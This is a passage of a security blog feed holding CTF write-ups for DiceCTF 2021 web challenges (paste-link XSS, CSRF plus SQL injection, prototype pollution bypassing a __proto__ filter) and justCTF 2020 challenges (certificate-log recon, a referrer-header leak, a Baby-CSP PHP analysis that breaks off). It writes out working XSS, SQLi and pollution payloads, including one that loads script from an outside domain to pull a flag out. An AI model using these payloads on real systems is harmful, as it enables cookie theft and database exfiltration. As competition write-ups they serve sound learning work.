</span></span></code></pre></div><p>If our data doesn&rsquo;t start with <code>https?://</code> then we recieve an error. So, ideally, we would want the freedom of <code>/api/createPaste</code> combined with the freedom of how <code>view.html</code> renders links.</p>
<p>We can combine the two by sending a POST request to <code>/api/createPaste</code>, but malform our request body to override the <code>type</code> parameter, which dictates whether our input is a paste or a link. Luckily, the request processing is done client-side, so we can freely add additional items into the JSON data.</p>
<p>You can use Burpsuite or a browser that allows request editing to do this.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-JSON" data-lang="JSON"><span style="display:flex;"><span>{<span style="color:#f92672">&#34;data&#34;</span>:<span style="color:#e6db74">&#34;javascript:alert(1);&#34;</span>, <span style="color:#f92672">&#34;type&#34;</span>: <span style="color:#e6db74">&#34;link&#34;</span>}
</span></span></code></pre></div><p>With this as our request body, we can retrieve the created &ldquo;paste/link&rdquo; id and visit the webpage to see that our code is correctly interpreted as javascript. We can report our &ldquo;paste/link&rdquo; to the admin bot and grab their cookie, which has the flag.</p>
<h2 id="build-a-better-panel">Build a Better Panel</h2>
<p>A derivative of another challenge called &ldquo;Build a Panel&rdquo;, but harder. The website is a &ldquo;widget&rdquo; panel, which appear to work using &ldquo;embedly&rdquo; cards. There&rsquo;s already an example of a panel from reddit. The challenge also gave us an admin bot to report URLs to, so this may be another xss challenge.</p>
<p>&hellip;With a few caveats. First, the admin bot only visits sites matching the following regex: <code>^https:\/\/build-a-better-panel\.dicec\.tf\/create\?[0-9a-z\-\=]+$</code></p>
<p>Second, the CSP in the application is pretty strict:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>default-src <span style="color:#e6db74">&#39;none&#39;</span>; script-src <span style="color:#e6db74">&#39;self&#39;</span> http://cdn.embedly.com/; style-src <span style="color:#e6db74">&#39;self&#39;</span> http://cdn.embedly.com/; connect-src <span style="color:#e6db74">&#39;self&#39;</span> https://www.reddit.com/comments/;
</span></span></code></pre></div><p>And so there are a few issues that would need to be addressed before &ldquo;Build a Better Panel&rdquo; can be solved. With that being said, I&rsquo;m pretty sure it&rsquo;s better to take a look at the first challenge, &ldquo;Build a Panel&rdquo;, first.</p>
<h3 id="build-a-panel">Build a Panel</h3>
<p>The first challenge is roughly the same code but the admin bot doesn&rsquo;t have the same regex check. So, the solution for both challenges may involve much of the same steps.</p>
<p>We can examine source and find this interesting function (also present in &ldquo;build a better panel&rdquo;):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/admin/debug/add_widget&#39;</span>, <span style="color:#66d9ef">async</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">cookies</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">cookies</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">queryParams</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">query</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">cookies</span>[<span style="color:#e6db74">&#39;token&#39;</span>] <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">cookies</span>[<span style="color:#e6db74">&#39;token&#39;</span>] <span style="color:#f92672">==</span> <span style="color:#a6e22e">secret_token</span>){
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">query</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES (&#39;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">queryParams</span>[<span style="color:#e6db74">&#39;panelid&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;, &#39;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">queryParams</span>[<span style="color:#e6db74">&#39;widgetname&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;, &#39;</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">queryParams</span>[<span style="color:#e6db74">&#39;widgetdata&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;);`</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">run</span>(<span style="color:#a6e22e">query</span>, (<span style="color:#a6e22e">err</span>) =&gt; {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">err</span>){
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#a6e22e">err</span>);
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#39;something went wrong&#39;</span>);
</span></span><span style="display:flex;"><span>            }<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#39;success!&#39;</span>);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        });
</span></span><span style="display:flex;"><span>    }<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">redirect</span>(<span style="color:#e6db74">&#39;/&#39;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>The endpoint is a special admin api call that inserts a widget into the widget table. In order to prevent non-admins from accessing the functionality of this call, a token value extracted from the visitor&rsquo;s cookies are compared to some <code>secret_token</code> value, which presumably only the admin has. But we can still get unintentional access by tricking an admin into visiting this endpoint without them knowing - executing a CSRF attack.</p>
<p>Specifically, a CSRF attack to execute an SQL injection. Since the endpoint constructs a query to add a widget into the database, we need to format our CSRF attack to include an SQLi payload. So, what are we trying to do with the database to perform SQLi on?</p>
<p>In the source exists another table, called &ldquo;flag&rdquo;:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">query</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`CREATE TABLE IF NOT EXISTS flag (
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    flag TEXT
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">)`</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">run</span>(<span style="color:#a6e22e">query</span>, [], (<span style="color:#a6e22e">err</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span><span style="color:#a6e22e">err</span>){
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">innerQuery</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`INSERT INTO flag SELECT &#39;dice{fake_flag}&#39;`</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">run</span>(<span style="color:#a6e22e">innerQuery</span>);
</span></span><span style="display:flex;"><span>    }<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">error</span>(<span style="color:#e6db74">&#39;Could not create flag table&#39;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>So this is our SQLi target: we want to run rogue SQL commands through the <code>/admin/debug/add_widget</code> endpoint, to access the &ldquo;flag&rdquo; table. We have an input, now we just need an output.</p>
<p>Since the query parameters in the <code>/admin/debug/add_widget</code> endpoint are unsanitized, we inject SQL into there - specifically through the <code>panelId</code> query:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#e6db74">&#39;, (SELECT * FROM flag), &#39;</span><span style="color:#960050;background-color:#1e0010">{</span><span style="color:#e6db74">&#34;type&#34;</span>:<span style="color:#e6db74">&#34;whatever&#34;</span><span style="color:#960050;background-color:#1e0010">}</span><span style="color:#e6db74">&#39;);--
</span></span></span></code></pre></div><p>So the final URL to report to admin is this:</p>
<pre tabindex="0"><code>https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=112ad5ea-5583-4818-be4b-d1eb03ac3002&#39;, (SELECT * FROM flag), &#39;{&#34;type&#34;:&#34;whatever&#34;}&#39;);--&amp;widgetname=0&amp;widgetdata=0
</code></pre><p>And we just need to reload our panel and get the flag.</p>

    <img src="/images/DiceCTF2021_BAPFlag.png"  alt="sa256"  class="center"  style="border-radius: 8px;"  />


<h3 id="prototype-pollution-sans-__proto__">Prototype Pollution sans <code>__proto__</code></h3>
<p>Let&rsquo;s return to &ldquo;Build A Better Panel&rdquo;.</p>
<p>Reading through the source, something immediately catches my eye, in the <code>custom.js</code> file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">mergableTypes</span> <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#39;boolean&#39;</span>, <span style="color:#e6db74">&#39;string&#39;</span>, <span style="color:#e6db74">&#39;number&#39;</span>, <span style="color:#e6db74">&#39;bigint&#39;</span>, <span style="color:#e6db74">&#39;symbol&#39;</span>, <span style="color:#e6db74">&#39;undefined&#39;</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">safeDeepMerge</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">target</span>, <span style="color:#a6e22e">source</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">key</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">source</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span><span style="color:#a6e22e">mergableTypes</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#66d9ef">typeof</span> <span style="color:#a6e22e">source</span>[<span style="color:#a6e22e">key</span>]) <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">!</span><span style="color:#a6e22e">mergableTypes</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#66d9ef">typeof</span> <span style="color:#a6e22e">target</span>[<span style="color:#a6e22e">key</span>])){
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">key</span> <span style="color:#f92672">!==</span> <span style="color:#e6db74">&#39;__proto__&#39;</span>){
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">safeDeepMerge</span>(<span style="color:#a6e22e">target</span>[<span style="color:#a6e22e">key</span>], <span style="color:#a6e22e">source</span>[<span style="color:#a6e22e">key</span>]);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">target</span>[<span style="color:#a6e22e">key</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">source</span>[<span style="color:#a6e22e">key</span>];
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This is a function that merges 2 js objects together. Typically, JSON merges like this function are prime targets for a vulnerability known as <strong>prototype pollution</strong>, an exploit unique to javascript that leverages the functionality of the prototype-based language. To summarize, one can modify the prototype properties of an object and pollute every object inheriting from that same prototype in javascript with the keyword <code>__proto__</code>.</p>
<p>Unfortunately, this is a slightly safer merge since the function explicitly looks out for the <code>__proto__</code> keyword. The <code>__proto__</code> keyword is an object property that accesses the <code>Object.prototype</code> of a js object literal. <code>safeDeepMerge</code> will be iterating through the keys of a given JSON parameter looking for it, so we need to access <code>Object.prototype</code> in a different way. Unfortunately, we can&rsquo;t just straight up input <code>Object.prototype</code> because of the value <code>mergableTypes</code> - among that list, <code>Object</code> is not one of them, so <code>safeDeepMerge</code> will bypass <code>Object</code> too. However, <code>Object</code> itself can be accessed without explicitly declaring it. You can specify an instance of the basic javascript object with the constructor method. Therefore, <code>constructor.prototype</code> = <code>Object.prototype</code> = <code>__proto__</code>. We can use <code>constructor.prototype</code> to bypass <code>safeDeepMerge</code>!</p>
<p>How can we use this to our advantage? In the widget panel, there&rsquo;s an example widget of a reddit page using embedly. Doing some <a href="https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/embedly.md">googling</a> leads us to discover that prototype pollution through the embedly script is possible!</p>
<p>I&rsquo;ll skip the parts where I banged my head against the wall for a long time trying to use prototype pollution to craft an XSS payload on the page. The problem with that was the strict CSP, which was the same one as &ldquo;Build A Panel&rdquo;:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>default-src <span style="color:#e6db74">&#39;none&#39;</span>; script-src <span style="color:#e6db74">&#39;self&#39;</span> http://cdn.embedly.com/; style-src <span style="color:#e6db74">&#39;self&#39;</span> http://cdn.embedly.com/; connect-src <span style="color:#e6db74">&#39;self&#39;</span> https://www.reddit.com/comments/;
</span></span></code></pre></div><p>In short, I can&rsquo;t execute anything since the script-src is either <code>self</code> or from <code>embedly.com</code>. So what now?</p>
<p>Let&rsquo;s take a look at the regex that the admin bot has again: <code>^https:\/\/build-a-better-panel\.dicec\.tf\/create\?[0-9a-z\-\=]+$</code></p>
<p>The endpoint in question is outlined below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span> <span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/create&#39;</span>, (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">cookies</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">cookies</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">queryParams</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">query</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span><span style="color:#a6e22e">cookies</span>[<span style="color:#e6db74">&#39;panelId&#39;</span>]){
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">newPanelId</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">queryParams</span>[<span style="color:#e6db74">&#39;debugid&#39;</span>] <span style="color:#f92672">||</span> <span style="color:#a6e22e">uuidv4</span>();
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">cookie</span>(<span style="color:#e6db74">&#39;panelId&#39;</span>, <span style="color:#a6e22e">newPanelId</span>, {<span style="color:#a6e22e">maxage</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">10800</span>, <span style="color:#a6e22e">httponly</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>, <span style="color:#a6e22e">sameSite</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;strict&#39;</span>});
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">redirect</span>(<span style="color:#e6db74">&#39;/panel/&#39;</span>);
</span></span><span style="display:flex;"><span>});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/panel/&#39;</span>, (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">cookies</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">cookies</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">cookies</span>[<span style="color:#e6db74">&#39;panelId&#39;</span>]){
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">render</span>(<span style="color:#e6db74">&#39;pages/panel&#39;</span>);
</span></span><span style="display:flex;"><span>    }<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">redirect</span>(<span style="color:#e6db74">&#39;/&#39;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p><code>/create</code> accepts one query, <code>debugId</code>, which renders a <code>pages/panel</code> when provided. In there, the <code>custom.js</code> file is loaded, which features the <code>safeDeepMerge</code> function. So, if we can create some specific widget that uses prototype pollution to execute rogue code, then we can just send that widget&rsquo;s <code>debugId</code> to the admin and get the flag!</p>
<h3 id="combining-it-all">Combining it all</h3>
<p>So, we can have an admin take a look at a specific panel using <code>/create?debugId=x</code> and we can craft that panel to execute rogue code based on abusing the functionality of <code>safeDeepMerge</code> to execute prototype pollution. We just need to combine the payload from &ldquo;Build a Panel&rdquo; with a payload that constructs a widget executing the pollution, and grab that widget&rsquo;s <code>debugId</code> so the admin will visit it.</p>
<p>So, we simply need to add a new panel with our payload:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-JSON" data-lang="JSON"><span style="display:flex;"><span>{<span style="color:#f92672">&#34;widgetName&#34;</span>:<span style="color:#e6db74">&#34;constructor&#34;</span>,<span style="color:#f92672">&#34;widgetData&#34;</span>:<span style="color:#e6db74">&#34;{\&#34;prototype\&#34;:{\&#34;srcdoc\&#34;:\&#34;&lt;script src=&#39;https://jamvie.net/admin/debug/add_widget?panelid=vie99vie&amp;widgetname=whatev&amp;widgetdata=&#39;),(&#39;vie99vie&#39;, (select flag from flag), &#39;{&#34;</span><span style="color:#960050;background-color:#1e0010">type</span><span style="color:#e6db74">&#34;:&#34;</span><span style="color:#960050;background-color:#1e0010">whatev&#34;</span>}<span style="color:#960050;background-color:#1e0010">&#39;)</span> <span style="color:#960050;background-color:#1e0010">--</span>
</span></span></code></pre></div><p>Once we file this request, we just have to report to the admin the url <code>https://build-a-better-panel.dicec.tf/create/?debugId=vie99vie</code> and check back to our panel to retrieve the flag.</p>
<p>This was quite the challenge, which involved a lot of working parts and required me to test the depth of my knowledge on classic, established web exploits. I learned alot, and while I may have taken a while in wrapping my head around it, I&rsquo;m glad I was able to understand it eventually.</p>
<p><strong>Vie</strong></p>
]]></content>
        </item>
        
        <item>
            <title>justCTF[*] 2020 - A Collection of Web Problems</title>
            <link>https://jamvie.net/posts/2021/01/justctf-2020-a-collection-of-web-problems/</link>
            <pubDate>Sun, 31 Jan 2021 23:05:20 -0700</pubDate>
            
            <guid>https://jamvie.net/posts/2021/01/justctf-2020-a-collection-of-web-problems/</guid>
            <description>This last weekend was justCTF 2020 (delayed last year so it was held this year :P), held by justCatTheFish. Although I was focused between this and some other work, I was able to look through a few of the web challenges and will document them here.
Forgotten Name I found this on a total fluke. I wasn&amp;rsquo;t paying attention to the challenge much but the description was compelling:
I&amp;rsquo;m hesitant to attempt to nmap all known domains of justCatTheFish&amp;rsquo;s network, and so instead thought about the nature of their subdomains.</description>
            <content type="html"><![CDATA[<p>This last weekend was justCTF 2020 (delayed last year so it was held this year :P), held by <a href="https://github.com/justcatthefish">justCatTheFish</a>. Although I was focused between this and some other work, I was able to look through a few of the web challenges and will document them here.</p>
<h2 id="forgotten-name">Forgotten Name</h2>
<p>I found this on a total fluke. I wasn&rsquo;t paying attention to the challenge much but the description was compelling:</p>

    <img src="/images/justCTF2020_forgottennamedesc.png"  alt="description"  class="center"  style="border-radius: 8px;"  />


<p>I&rsquo;m hesitant to attempt to <code>nmap</code> all known domains of justCatTheFish&rsquo;s network, and so instead thought about the nature of their subdomains. Every other challenge that required accessing a server was suffixed with the subdomain <code>*.jctf.pro</code>. I decided to search through certificate transparency logs with that subdomain to see what would come up, and a certain URL caught my eye: <code>6a7573744354467b633372545f6c34616b735f6f3070737d.web.jctf.pro/</code>. It had the correct beginning characters and it ended in <code>jctf.pro</code>, and visiting it we see a small message: &ldquo;OH! You found it! Thank you &lt;3&rdquo;.</p>
<p>So, the secret domain has been found. Hex decoding the mash of numbers in the URL gave the flag: <code>justCTF{c3rT_l4aks_o0ps}</code>.</p>
<h2 id="computeration">Computeration</h2>
<p>This challenge was labelled as hard but it had an unintended solution. The challenge featured a note repository and the ability to report URLs to admins - basic XSS stuff. However, the notes were stored in our browser&rsquo;s localStorage, which is unique per domain and session, and likely doesn&rsquo;t involve cookies due to this. Looking at this, my first thought came to XS-leaks (a web vulnerability I&rsquo;m currently studying and researching), which would essentially side-channel attack a user in their browser to leak information based on functionality and logic of the program.</p>
<p>During recon, I spun up a quick server and gave the URL to the bot to check out. When they made the request, I inspected the headers:</p>

    <img src="/images/justCTF2020_referer.png"  alt="sa256"  class="center"  style="border-radius: 8px;"  />


<p>I don&rsquo;t typically see the <code>referer</code> header in many requests, because there are <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns">inherent security concerns</a> with using it. Out of curiosity I tried to access the referer site myself, and unintentionally got the flag that way.</p>

    <img src="/images/justCTF2020_computerationflag.png"  alt="sa256"  class="center"  style="border-radius: 8px;"  />


<p>The key is in the response headers I recieved after visiting the domain. Their <code>referrer-policy</code> header was set to <code>no-referer</code>, which is a mispelling of <code>no-referrer</code>. Confusingly, the <code>referer</code> request header is misspelled - which is a different story. When the admin bot begins to fire a request to a URL we specify, its domain&rsquo;s <code>referrer-policy</code> will be set to <code>unsafe-url</code> since <code>no-referer</code> technically doesn&rsquo;t match any of its options. Therefore, the <code>referer</code> request header is added to the bot&rsquo;s GET request to our URL.</p>
<p>Although unintended, still a good discussion on the security of referrer headers. Looking at the flag also validated my suspicions of this challenge&rsquo;s intended solution requiring XS-leaks.</p>
<h2 id="baby-csp">Baby-CSP</h2>
<p>I was primarily focused on this challenge. We see some interesting PHP code right away upon visiting it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">require_once</span>(<span style="color:#e6db74">&#34;secrets.php&#34;</span>);
</span></span><span style="display:flex;"><span>$nonce <span style="color:#f92672">=</span> <span style="color:#a6e22e">random_bytes</span>(<span style="color:#ae81ff">8</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">isset</span>($_GET[<span style="color:#e6db74">&#39;flag&#39;</span>])){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">isAdmin</span>()){
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">header</span>(<span style="color:#e6db74">&#39;X-Content-Type-Options: nosniff&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">header</span>(<span style="color:#e6db74">&#39;X-Frame-Options: DENY&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">header</span>(<span style="color:#e6db74">&#39;Content-type: text/html; charset=UTF-8&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">echo</span> $flag;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">die</span>();
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>     <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;You are not an admin!&#34;</span>;
</span></span><span style="display:flex;"><span>     <span style="color:#66d9ef">die</span>();
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span>($i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>; $i<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">10</span>; $i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">isset</span>($_GET[<span style="color:#e6db74">&#39;alg&#39;</span>])){
</span></span><span style="display:flex;"><span>        $_nonce <span style="color:#f92672">=</span> <span style="color:#a6e22e">hash</span>($_GET[<span style="color:#e6db74">&#39;alg&#39;</span>], $nonce);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span>($_nonce){
</span></span><span style="display:flex;"><span>            $nonce <span style="color:#f92672">=</span> $_nonce;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">continue</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    $nonce <span style="color:#f92672">=</span> <span style="color:#a6e22e">md5</span>($nonce);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">isset</span>($_GET[<span style="color:#e6db74">&#39;user&#39;</span>]) <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">strlen</span>($_GET[<span style="color:#e6db74">&#39;user&#39;</span>]) <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">23</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">header</span>(<span style="color:#e6db74">&#34;content-security-policy: default-src &#39;none&#39;; style-src &#39;nonce-</span><span style="color:#e6db74">$nonce</span><span style="color:#e6db74">&#39;; script-src &#39;nonce-</span><span style="color:#e6db74">$nonce</span><span style="color:#e6db74">&#39;&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&lt;&lt;&lt;</span><span style="color:#e6db74">EOT</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        &lt;script nonce=&#39;$nonce&#39;&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">            setInterval(
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">                ()=&gt;user.style.color=Math.random()&lt;0.3?&#39;red&#39;:&#39;black&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">            ,100);
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        &lt;/script&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        &lt;center&gt;&lt;h1&gt; Hello &lt;span id=&#39;user&#39;&gt;{$_GET[&#39;user&#39;]}&lt;/span&gt;!!&lt;/h1&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        &lt;p&gt;Click &lt;a href=&#34;?flag&#34;&gt;here&lt;/a&gt; to get a flag!&lt;/p&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"></span><span style="color:#e6db74">EOT</span>;
</span></span><span style="display:flex;"><span>}<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">show_source</span>(<span style="color:#66d9ef">__FILE__</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Found a bug? We want to hear from you! /bugbounty.php
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// Check /Dockerfile
</span></span></span></code></pre></div><p>There&rsquo;s a reflected-XSS attack which can be done through the <code>user</code> query parameter. However, the Content-Security-Policy is pretty strict and my XSS payload has to be less than <em>23 chars</em>. The CSP uses a nonce value (randomized 8 bytes), which we can see in the for loop above, is hashed 10 times. There&rsquo;s no feasible way to reverse a hash 10 times. So, there are 2 obstacles to overcome: how to create an XSS payload that&rsquo;s at most 23 characters long, and also how to bypass the hashing of this nonce value.</p>
<h3 id="the-nonce-value-and-php-response-buffers">The nonce value and PHP response buffers</h3>
<p>The nonce value is hashed 10 times with a hashing algorithm of our choosing (md5 if we don&rsquo;t choose), using the <code>alg</code> query parameter. However, something interesting that teammate Filip pointed out while I was working on this challenge was the fact that this server was being run on a development config, which you can find out by checking the <code>/Dockerfile</code> endpoint. This fact became relevant to me when, in doing recon for the challenge, I tried to make a GET request with the <code>alg</code> query parameter and accidentally misspelled <code>sha256</code> (it was 3am). What happened was this:</p>
